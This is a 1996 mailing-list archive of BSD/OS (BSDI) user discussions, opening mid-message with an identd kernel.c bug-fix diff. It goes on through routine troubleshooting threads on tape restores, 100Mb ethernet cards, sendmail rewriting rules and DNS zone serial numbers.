patch anywhere. You could try the > list archives. I posted the patch, and Keith Bostic integrated it into BSD/OS 2.1. Since I no longer have the patch either, here's a diff of the 2.0 and 2.1 source, which is essentially what I sent to the list. The patch is for /usr/src/libexec/identd/kernel.c. *** kernel.c.2.0 Fri Feb 3 01:45:59 1995 --- kernel.c Tue Oct 17 14:36:29 1995 *************** *** 121,129 **** char *what; { ! if (kvm_read(kd, addr, buf, len) < 0) { ! if (syslog_flag) ! syslog(LOG_ERR, "getbuf: kvm_read(%08x, %d) - %s : %m", ! addr, len, what); return 0; --- 121,133 ---- char *what; { ! int e; ! if ((e = kvm_read(kd, addr, buf, len)) != len) { ! if (syslog_flag && e < 0) ! { ! char *z = kvm_geterr(kd); ! syslog(LOG_ERR, "getbuf: kvm_read(%08x, %d) - %s : %m (%s)", ! addr, len, what, z); ! } return 0; *************** *** 231,234 **** --- 235,241 ---- for(j = 0; j < pfd.fd_nfiles; j ++) { + if (ofiles[j] == 0) + continue; + if(!getbuf(ofiles[j], &ofile, sizeof(struct file), "ofile")) { -- ``The lyf so short, the craft so long to lerne.'' - Chaucer Chet Ramey, Case Western Reserve University Internet: chet@po.CWRU.Edu From VM Fri Nov 15 22:46:19 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["938" "Fri" "15" "November" "1996" "09:08:45" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "25" "Re: RESTORING!!!" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA16179 for ; Fri, 15 Nov 1996 12:22:56 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA21331 for bsdi-users-outgoing; Fri, 15 Nov 1996 12:15:34 -0500 (EST) Message-Id: <199611151708.JAA24027@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, root@chiba.netxn.com Subject: Re: RESTORING!!! Date: Fri, 15 Nov 1996 09:08:45 -0800 (PST) > > I am having problems with restoring a directory off of my tape backup. I > have performed the following: > > mt -f /dev/nrst0 fsf 5 5 being where the filesystem I want to restore > > When I try a : restore -if /dev/nrst0 to read the files I get the > following error: > tape read error: Undefined error: 0 > > Am I doing something wrong. As far as I know this is the only thing I > need to do to access the tape. Any suggestions would be greatly > appreciated. Thanks in advance. > I'd say that you're getting an EOF from the drive. You might want to try my "ts" script (which I've previously posted) to see where the files are on the tape. Note that if you're restoring the 5th dump, you should ignore (fsf) 4 files, not 5. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Fri Nov 15 22:46:21 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["433" "Fri" "15" "November" "1996" "12:39:50" "+0000" "Jim Cassata" "jim@web-ex.com" nil "19" "need shopping cart and secure server" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA17001 for ; Fri, 15 Nov 1996 12:49:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA21415 for bsdi-users-outgoing; Fri, 15 Nov 1996 12:40:32 -0500 (EST) Message-Id: <199611151735.MAA11611@web-ex.com> Comments: Authenticated sender is MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Reply-to: jim@web-ex.com X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Jim Cassata" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: need shopping cart and secure server Date: Fri, 15 Nov 1996 12:39:50 +0000 Hey fellow BSDI-ers, I have a client that wants a simple shopping cart written and a secure server to run it on. I was thinking about Stronghold. Can anyone advise me on server. what about the cart. Where can I get one? Would one of you like to sell me one? Thank you all. Jim Cassata ______________________ jim@web-ex.com Web Express, Inc. 20 Broadhollow Road Suite 3011 Melville, NY 11747 516.421.6000 516.421.3882 fax From VM Fri Nov 15 22:46:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1041" "Fri" "15" "November" "1996" "06:41:25" "+0000" "Peter Blake" "ppb@baloo.tcp.co.uk" nil "29" "Re: Sendmail: Mass E-Mailing users/groups" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA18102 for ; Fri, 15 Nov 1996 13:35:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA21567 for bsdi-users-outgoing; Fri, 15 Nov 1996 13:24:09 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Peter Blake Sender: owner-bsdi-users@lists.gateway.com To: System Administrator - Greg Wiktor cc: bsdi-users@BSDI.COM Subject: Re: Sendmail: Mass E-Mailing users/groups Date: Fri, 15 Nov 1996 06:41:25 +0000 (GMT) On Thu, 14 Nov 1996, System Administrator - Greg Wiktor wrote: > Hello there everyone... > > Does anyone know if it is possible to Mass E-Mail users or groups messages? > Greg Wiktor Senior System Administrator > _____________________________________________________________________ > Advantech PC Realm Internet Services (WWW.PCREALM.NET) > 60 Welcher Avenue > Peekskill, NY 10566 > Tel: 914-736-7300 Fax: 914-736-7024 > E-Mail: > INTERNEX@PCREALM.NET (PRIMARY) > INTERNEX@ADVINC.COM > INTERNEX@LANLINE.COM > ______________________________________________________________________ > - -IBM BesTeam Member, TeamOS2 Member, IBM Corp. Reseller, Intel Reseller- > > ------------------------------ > Oh Ohhh - looks like a spam factory starting up! ___ Peter Blake ppb@baloo.tcp.co.uk tel +44 125 688 2917 fax +44 125 688 0795 ppb@hft.co.uk tel +44 148 957 0111 fax +44 148 957 0555 From VM Fri Nov 15 22:46:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["443" "" "15" "November" "1996" "16:13:23" "GMT" "Brian Mitchell" "brian@saturn.net" nil "13" "bsdi on a atapi drive" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA18370 for ; Fri, 15 Nov 1996 13:44:01 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA21605 for bsdi-users-outgoing; Fri, 15 Nov 1996 13:42:50 -0500 (EST) Path: vixen.cso.uiuc.edu!newsfeed.internetmci.com!news.idt.net!enews.sgi.com!decwrl!pagesat.net!titan.saturn.net!janus.saturn.net!brian Newsgroups: info.bsdi.users Organization: I need to put my ORGANIZATION here. Lines: 12 Message-ID: <56i4r3$ja@titan.saturn.net> NNTP-Posting-Host: janus.saturn.net X-Newsreader: TIN [version 1.2 PL2] Precedence: bulk From: brian@saturn.net (Brian Mitchell) Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: bsdi on a atapi drive Date: 15 Nov 1996 16:13:23 GMT Has anyone had luck with bsdi 2.1 on a atapi drive (gw2k). BSDI does not seem to be able to locate wdc1, even when I explicitly give it the base port and irq. System is a gw2k p100 with a epson 2x ide (atapi) cdrom drive. -- ####################################################################### Brian Mitchell brian@saturn.net ####################################################################### From VM Fri Nov 15 22:46:25 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["282" "Fri" "15" "November" "1996" "11:14:32" "EST" "Daniel R. Ehrlich" "ehrlich@cse.psu.edu" nil "11" "IP Adress Proxy Software" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA18375 for ; Fri, 15 Nov 1996 13:44:39 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA21623 for bsdi-users-outgoing; Fri, 15 Nov 1996 13:43:26 -0500 (EST) Message-Id: <199611151614.LAA13564@cse.psu.edu> X-uri: X-Work-Address: Department of Computer Science and Engineering 121A Pond Laboratory The Pennsylvania State University University Park, PA 16802 X-Work-Phone: +1 814 863 1142 (Voice) +1 814 865 3176 (FAX) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Daniel R Ehrlich Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@lists.gateway.com Subject: IP Adress Proxy Software Date: Fri, 15 Nov 1996 11:14:32 EST Hello all, I was wondering if there is software available that would allow a machine running BSDI to act as a proxy router for a private IP network? I am trying to set up a small net of machines at home, but the university will only give me one IP address. Thanks, Dan Ehrlich From VM Fri Nov 15 22:46:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["367" "Fri" "15" "November" "1996" "11:04:18" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "9" "Re: RESTORING!!!" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA20307 for ; Fri, 15 Nov 1996 14:58:25 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA21211 for bsdi-users-outgoing; Fri, 15 Nov 1996 11:06:25 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: System Administrator cc: bsdi-users@bsdi.com Subject: Re: RESTORING!!! Date: Fri, 15 Nov 1996 11:04:18 -0500 (EST) > mt -f /dev/nrst0 fsf 5 5 being where the filesystem I want to restore Caution: "mf fsf 5" does not mean "skip to the 5th file", it means "skip past 5 files" -- you're looking at the 6th file, not the 5th. Henry Spencer henry@zoo.toronto.edu From VM Fri Nov 15 22:46:31 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1765" "Fri" "15" "November" "1996" "12:58:53" "-0700" "Brad Senff" "brad@inficad.com" nil "35" "100Mb Ethernet Woes." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA20587 for ; Fri, 15 Nov 1996 15:10:21 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA21871 for bsdi-users-outgoing; Fri, 15 Nov 1996 15:04:48 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brad Senff Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: 100Mb Ethernet Woes. Date: Fri, 15 Nov 1996 12:58:53 -0700 (MST) Well, I am trying to make the jump, from 10Mb to 100Mb. I have gone through all kinds of problems finding the right cards, been thru the "yeah the 3com 3c905 is IDENTICAL to the 3c595" routine (fyi, it is NOT), been thru the "Nope, can't get those 3c595's anymore" routine, even tried the SMC's listed in the ol' BSDi manual. No luck. No matter what I did I couldn't get them to recognize. Finally, I tried the DEC DE500. I can get it to recognize, right out of the box. I checked dmesg, and all is well. However when I try to get out of the box it fails. The computer is linked to a 100Mb ethernet HUB, (Compex 1208TX). I know the hub and the downlink to my 10Mb ethernet is fine, because when I went down the road of the 3c905's, they would work temporarily, then if the buffer filled, it would lock. I saw in the archive that the de500 requires you to choose the WRONG type of ethernet when doing the config_netstart, so I tried that, no such luck. No matter what I do, it seems that the bsdi 2.1 boxes do not like 100Mbit. So, if any of you out there has a de500 in a box working great (at 100Mbit, hell even at 10Mbit at this point) please forward me a copy of your dmesg, and netstart files, and any wisdom you may have relating to the above. -a very frustrated person who believes that 100Mbit is a myth- ================================================================== == Brad Senff brad@inficad.com == == System Administrator Check out the web site: == == Inficad Computing and Design http://www.inficad.com == == "Ignorance is the art of not recalling the information == == you have not learned yet." == ================================================================== From VM Fri Nov 15 22:46:36 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1260" "Fri" "15" "November" "1996" "10:35:49" "-0600" "Mike Judge" "mjudge@ati.net" nil "34" "Re: ps -aux bizareness" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA21972 for ; Fri, 15 Nov 1996 15:57:45 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA21280 for bsdi-users-outgoing; Fri, 15 Nov 1996 11:43:09 -0500 (EST) Message-ID: <328C9BE5.3828@ati.net> Reply-To: mjudge@ati.net Organization: ATSI Inc. X-Mailer: Mozilla 3.0Gold (Win95; I) MIME-Version: 1.0 References: <1.5.4.32.19961115132113.0096f7b8@204.101.127.2> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Mike Judge Sender: owner-bsdi-users@lists.gateway.com To: Roch Pageau CC: bsdi-users@BSDI.COM Subject: Re: ps -aux bizareness Date: Fri, 15 Nov 1996 10:35:49 -0600 Roch Pageau wrote: > > I did a ps -aux this morning and got this fisrt entry dated Dec 31 1969. > When I try and kill it the system returns that it does not exist. It worries > me because its running as root. Cannot find any reference in any of the log > files. > Any ideas appreciated????? > > USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND > root 7356 0.0 0.0 220 12 p0 RV 31Dec69 0:00.00 (csh) > root 0 0.0 0.0 0 0 ?? DLs Fri10AM 0:04.60 (swapper) > root 1 0.0 0.3 144 256 ?? Is Fri10AM 0:31.67 /sbin/init -- > root 2 0.0 0.0 0 12 ?? DL Fri10AM 0:00.01 (pagedaemon) > > Thanks > > Roch I have the same thing once in awhile,,, posted the same question and did not really get any responses.... If you find out what it is or caused by please mail me -- ----------------------------------------------------------------- "PRE"-plannig and "COMMUNICATION" are the path to "SUCCESS" Michael J. Judge ATSI Inc. Systems Administrator 12500 Network Blvd. (210) 558-6090 Suite 407 (210) 558-6095 (Fax) San Antonio TX 78249 mailto:mjudge@atsi.net http://www.atsi.net -------------------------------------------------------------- From VM Fri Nov 15 22:46:37 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["771" "Fri" "15" "November" "1996" "15:44:43" "-0500" "mjastrem@thunder.ocis.temple.edu" "mjastrem@thunder.ocis.temple.edu" nil "25" "Re: need shopping cart and secure server" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA22252 for ; Fri, 15 Nov 1996 16:10:48 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA22090 for bsdi-users-outgoing; Fri, 15 Nov 1996 16:01:43 -0500 (EST) In-Reply-To: <199611151735.MAA11611@web-ex.com> Message-ID: X-no-archive: yes X-disclaimer: Please don't feed guide dogs MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "M." Sender: owner-bsdi-users@lists.gateway.com To: Jim Cassata cc: bsdi-users@BSDI.COM Subject: Re: need shopping cart and secure server Date: Fri, 15 Nov 1996 15:44:43 -0500 (EST) On Fri, 15 Nov 1996, Jim Cassata wrote: > Hey fellow BSDI-ers, > > I have a client that wants a simple shopping cart written and a secure > server to run it on. I was thinking about Stronghold. Can anyone advise > me on server. what about the cart. Where can I get one? Would one of you > like to sell me one? use stronghold and minivend, http://www.iac.net/~mikeh/mvend.html . minivend is absolutely amazing, supports ssl nicely and its free =) be warned that minivend may take a bit to configure, but after you do that it runs itself. -Mike. -- ( Michael Jastremski,) {| You can take the cat out of the |} ( mjastrem@Thunder.Temple.edu ) {| jungle but you can't take the |} ( http://newsroom.temple.edu ) {| jungle out of the cat. |} From VM Fri Nov 15 22:46:40 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["391" "Fri" "15" "November" "1996" "13:40:51" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "15" "sendmail rewriting rules" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA23358 for ; Fri, 15 Nov 1996 16:51:57 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA22189 for bsdi-users-outgoing; Fri, 15 Nov 1996 16:41:35 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: sendmail rewriting rules Date: Fri, 15 Nov 1996 13:40:51 -0800 (PST) Ok, the sendmail book is driving me BATty. I want to rewrite all sender's addresses going through my mailhost to sender@domain.com - basically i need to strip the machine name off without using the masquerade option, because then my virtual domains lose their domainname. Is this a function of ruleset 1? and if so would this work: R$- $@$1<@$R> R$*<@$=w>$* $@$1<@$R>$3 ??? Amy :) From VM Fri Nov 15 22:46:42 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["639" "Fri" "15" "November" "1996" "14:48:45" "-0700" "Stephen Fisher" "lithium@cia-g.com" nil "17" "Re: identd Process CPU Utilization" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA23372 for ; Fri, 15 Nov 1996 16:55:13 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA22210 for bsdi-users-outgoing; Fri, 15 Nov 1996 16:49:22 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Stephen Fisher Sender: owner-bsdi-users@lists.gateway.com To: Henry Spencer cc: bsdi-users@BSDI.COM Subject: Re: identd Process CPU Utilization Date: Fri, 15 Nov 1996 14:48:45 -0700 (MST) On Fri, 15 Nov 1996, Henry Spencer wrote: > > Identd is used for verifying who the user really is that connected to your > > web site/irc server/sendmail port/whatever... > > No, it's useless for verification. Identd is used for *logging* who the > user's system *claims* the user is; the information is useless to anyone True, bad wording on my part. It is used simply for a reference to who it might be. > Despite some early misunderstandings, the information from identd is (in > general) of no interest to software, for authentication or verification or > any other purpose. It's strictly for generating human-helpful logs. From VM Fri Nov 15 22:46:42 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["706" "Fri" "15" "November" "1996" "16:49:36" "-0500" "Parthiv Shah" "parthiv@corp.idt.net" nil "27" "Re: Auto-reply daemon" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA23376 for ; Fri, 15 Nov 1996 16:55:53 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA22228 for bsdi-users-outgoing; Fri, 15 Nov 1996 16:51:06 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Parthiv Shah Sender: owner-bsdi-users@lists.gateway.com To: Robin Dua cc: bsdi-users@BSDI.COM Subject: Re: Auto-reply daemon Date: Fri, 15 Nov 1996 16:49:36 -0500 (EST) Use Vacation. Parthiv -- Shah, Parthiv http://www.netadmin.net/ parthiv@corp.idt.net (201) 928 - 4414 Systems Administrator at IDT pgp? -> finger parthiv@haven.ios.com On Fri, 15 Nov 1996, Robin Dua wrote: > Date: Fri, 15 Nov 1996 14:41:59 -0500 (EST) > From: Robin Dua > To: bsdi-users@BSDI.COM > Subject: Auto-reply daemon > > Does anyone know of an auto reply back program / daemon for e-mail. We > need something that will accept incoming e-mail requests for information > and then send a standard reply back to the individual. > > If someone has a script that they can send me that would be great. Thanks. > > Robin > GlobalServe Communications Inc. > From VM Fri Nov 15 22:46:43 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2546" "Fri" "15" "November" "1996" "13:52:59" "-0800" "Mogens L. Gilmour" "Mogens@webcoach.com" nil "65" "Re: 100Mb Ethernet Woes." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA23643 for ; Fri, 15 Nov 1996 16:58:57 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA22263 for bsdi-users-outgoing; Fri, 15 Nov 1996 16:53:36 -0500 (EST) Message-Id: <3.0.32.19961115135258.00b2e9cc@mail.webcoach.com> X-Sender: mogens@mail.webcoach.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: "Mogens L. Gilmour" Sender: owner-bsdi-users@lists.gateway.com To: Brad Senff , bsdi-users@BSDI.COM Subject: Re: 100Mb Ethernet Woes. Date: Fri, 15 Nov 1996 13:52:59 -0800 Hi, You have to change the linkarg to "-link0" for 10 Megabits. Not sure what it is for 100. Email BSDI for that one. Also had to change the iface to de0 from the netstart default for every instance in the netstart file. That fixed the problem for me. Mogens Gilmour Example: ===================== hostname=web.mydomain.com iface=de0 ipaddr=200.200.200.0 inkarg="-link0" netmask=255.255.255.0 defroute=100.100.100.100 At 12:58 PM 11/15/96 -0700, Brad Senff wrote: > > Well, I am trying to make the jump, from 10Mb to 100Mb. I have >gone through all kinds of problems finding the right cards, been thru the >"yeah the 3com 3c905 is IDENTICAL to the 3c595" routine (fyi, it is NOT), >been thru the "Nope, can't get those 3c595's anymore" routine, even tried >the SMC's listed in the ol' BSDi manual. No luck. No matter what I did I >couldn't get them to recognize. Finally, I tried the DEC DE500. I can get >it to recognize, right out of the box. I checked dmesg, and all is well. >However when I try to get out of the box it fails. The computer is linked >to a 100Mb ethernet HUB, (Compex 1208TX). I know the hub and the downlink >to my 10Mb ethernet is fine, because when I went down the road of the >3c905's, they would work temporarily, then if the buffer filled, it would >lock. > > I saw in the archive that the de500 requires you to choose the >WRONG type of ethernet when doing the config_netstart, so I tried that, no >such luck. No matter what I do, it seems that the bsdi 2.1 boxes do not >like 100Mbit. > > So, if any of you out there has a de500 in a box working great (at >100Mbit, hell even at 10Mbit at this point) please forward me a copy of >your dmesg, and netstart files, and any wisdom you may have relating to >the above. > >-a very frustrated person who believes that 100Mbit is a myth- > >================================================================== >== Brad Senff brad@inficad.com == >== System Administrator Check out the web site: == >== Inficad Computing and Design http://www.inficad.com == >== "Ignorance is the art of not recalling the information == >== you have not learned yet." == >================================================================== > > > _______________________________________________ WebCoach Internet Services Corporation Your Personal Internet Presence Provider Mogens L. Gilmour 503/655-6813 (talk) 503/655-6907 (fax) http://www.webcoach.com Info@WebCoach.com ========================================== From VM Fri Nov 15 22:46:43 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["561" "Fri" "15" "November" "1996" "13:59:51" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "14" "Re: 100Mb Ethernet Woes." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA23651 for ; Fri, 15 Nov 1996 17:05:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA22315 for bsdi-users-outgoing; Fri, 15 Nov 1996 17:01:06 -0500 (EST) Message-Id: <3.0.1.32.19961115135829.009e32c0@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: Brad Senff Cc: bsdi-users@BSDI.COM Subject: Re: 100Mb Ethernet Woes. Date: Fri, 15 Nov 1996 13:59:51 -0800 At 12:58 PM 11/15/96 -0700, Brad Senff wrote: > So, if any of you out there has a de500 in a box working great (at >100Mbit, hell even at 10Mbit at this point) please forward me a copy of >your dmesg, and netstart files, and any wisdom you may have relating to >the above. > I have been 100Mbit on my mail server for quite a while now. The link settings are double, not just a single item. Try "link0 -link1" on your ifconfig line. Or, just to be sure it is totally correct, you can use "link0 -link1 -link2". This last is the way mine is setup. -Kent- From VM Fri Nov 15 22:46:45 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["540" "Fri" "15" "November" "1996" "17:22:09" "+0000" "Jim Cassata" "jim@web-ex.com" nil "20" "Perl 5.00? (and a thank you to all)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA24202 for ; Fri, 15 Nov 1996 17:19:41 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA22392 for bsdi-users-outgoing; Fri, 15 Nov 1996 17:15:57 -0500 (EST) Message-Id: <199611152217.RAA11845@web-ex.com> Comments: Authenticated sender is MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Reply-to: jim@web-ex.com X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Jim Cassata" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Perl 5.00? (and a thank you to all) Date: Fri, 15 Nov 1996 17:22:09 +0000 I would like to thank everyone who participates in this list for making it so great. All of you help this guy put food on the table for his family. How do I determine if I have PERL 5.001 or .002? I tried searching through the directories and man pages, but no luck. I have 2.1 which was installed about a year ago. Or better yet, where would I find a recent version? Thanks again Jim Cassata ______________________ jim@web-ex.com Web Express, Inc. 20 Broadhollow Road Suite 3011 Melville, NY 11747 516.421.6000 516.421.3882 fax From VM Fri Nov 15 22:46:45 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1196" "Fri" "15" "November" "1996" "17:19:57" "-0500" "Bill Becker" "bbecker@futurecomm.com" nil "36" "Re: dns problem" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA24207 for ; Fri, 15 Nov 1996 17:20:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA22398 for bsdi-users-outgoing; Fri, 15 Nov 1996 17:17:22 -0500 (EST) X-Authentication-Warning: flubber.futurecomm.com: bbecker owned process doing -bs In-Reply-To: <1.5.4.32.19961115030710.008c1c20@204.101.127.2> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Bill Becker Sender: owner-bsdi-users@lists.gateway.com To: Roch Pageau cc: bsdi-users@BSDI.COM Subject: Re: dns problem Date: Fri, 15 Nov 1996 17:19:57 -0500 (EST) On Thu, 14 Nov 1996, Roch Pageau wrote: > I added squid on my site and want users to add proxy.inexpress.net for them > to reach the server. I added the line following line to my domain.db file: > > proxy IN CNAME vector.inexpress.net. > > 50 % of people have no problem and it works fine but the other 50 % get the: > > Netscape is unable to reach the server: > > server does not have a dns entry error. You have two nameservers -- vector.inexpress.net and ns1.bellglobal.com. vector does have the correct address, but the other one answers... *** NS1.BELLGLOBAL.COM can't find proxy.inexpress.net.: Non-existent host/domain. ...That explains why it work sometimes and doesn;t other times. The serial number in your SOA on your secondary and primary are both the same, so the secondary will never update the new information added to the primary's zone file. Both have '18' as their serial. Why not use YYYYMMDDNN as serial numbers? Like if you create a new zone file, you on nov-14th, the serial would be 1996111400. If you do anothe one later that same day, it would be 1996111401 and so forth. That way you see at a glance when something is outdated. From VM Fri Nov 15 22:46:49 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["324" "Fri" "15" "November" "1996" "16:43:45" "-0600" "Ian Fink" "bsdiuser@connect.fc.net" nil "11" "PPP problem" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA24780 for ; Fri, 15 Nov 1996 17:48:36 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA22457 for bsdi-users-outgoing; Fri, 15 Nov 1996 17:44:33 -0500 (EST) Message-Id: <199611152243.QAA19598@connect.fc.net> Precedence: bulk From: Ian Fink Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: PPP problem Date: Fri, 15 Nov 1996 16:43:45 -0600 I have a weird PPP problem. I finally got PPP running on my bsdi 2.0.1 box.... However, I cannot telnet to it from the client machine. I can telnet to other bsdi machines on the network and then over to mine. Does anyone have any suggestions as to what is going on? Ian Fink bsdiuser@connect.fc.net ian@connect.fc.net From VM Fri Nov 15 22:46:49 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["386" "Fri" "15" "November" "1996" "14:45:34" "-0800" "David A. Lee" "dave@calldei.com" nil "14" "Re: Auto-reply daemon" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA24783 for ; Fri, 15 Nov 1996 17:49:25 -0500 